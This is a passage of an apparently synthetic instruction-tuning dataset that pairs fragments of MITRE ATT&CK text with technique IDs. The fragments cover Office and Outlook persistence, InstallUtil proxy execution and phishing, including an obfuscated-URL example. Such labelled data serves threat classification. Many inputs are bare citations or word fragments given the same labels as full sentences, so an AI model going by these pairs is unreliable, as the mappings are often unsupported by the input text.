normal.dotm)(Citation: ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Word Normal.dotm", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Word Normal.dotm ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page) ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system.", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook forms are used as templates for presentation and functionality in Outlook messages.", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook forms are used as templates for presentation and functionality in Outlook messages. ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation:", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Outlook Forms)", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Outlook Forms) ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started.", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms) ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Office add-ins can be used to add functionality to Office programs.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Office add-ins can be used to add functionality to Office programs. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook rules allow a user to define automated behavior to manage email messages.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook rules allow a user to define automated behavior to manage email messages. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started.", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", "output": "T1137.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules) ### Response: T1137.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN InstallUtil)", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN InstallUtil) ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NET\\Framework64\\v<version>\\InstallUtil.exe</code>.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NET\\Framework64\\v<version>\\InstallUtil.exe</code>. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ComponentModel.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ComponentModel. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RunInstaller(true)]</code>.", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RunInstaller(true)]</code>. ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Installutil)", "output": "T1218.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Installutil) ### Response: T1218.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL 